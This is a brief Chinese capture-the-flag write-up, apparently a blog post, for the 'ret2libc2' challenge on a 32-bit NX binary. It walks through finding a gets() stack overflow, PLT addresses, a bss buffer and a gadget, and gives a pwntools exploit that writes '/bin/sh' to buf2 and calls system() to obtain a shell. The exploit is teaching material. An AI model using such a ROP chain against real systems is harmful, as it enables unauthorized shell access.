1.checksec保护机制

NX保护
32位程序
2.拖进ida

gets函数栈溢出

plt段有gets函数,所以可以返回到gets函数
3.找gets和system地址

向程序中 bss 段的 buf2 处写入 /bin/sh 字符串,并将其地址作为 system 的参数传入。这样以便于可以获得 shell
4.找buf2和ropgadgets


5.计算偏移
6.exp
from pwn import*
p=process('./ret2libc2')
gets_plt=0x8048460
system_plt=0x8048490
pop_ebx=0x0804843d
buf2=0x804a080
payload=flat([b'a'*112,gets_plt,pop_ebx,buf2,system_plt,0xdeadbeef,buf2])
p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()
最后cat flag
本文详细介绍了如何利用ret2libc技术对32位程序进行栈溢出攻击,通过ida分析找到gets函数和system函数的地址,构造payload跳转到gets并执行/bin/sh,最终获取shell。实验步骤包括寻找plt段、计算偏移和构造exp来实现目标。
1269

被折叠的 条评论
为什么被折叠?



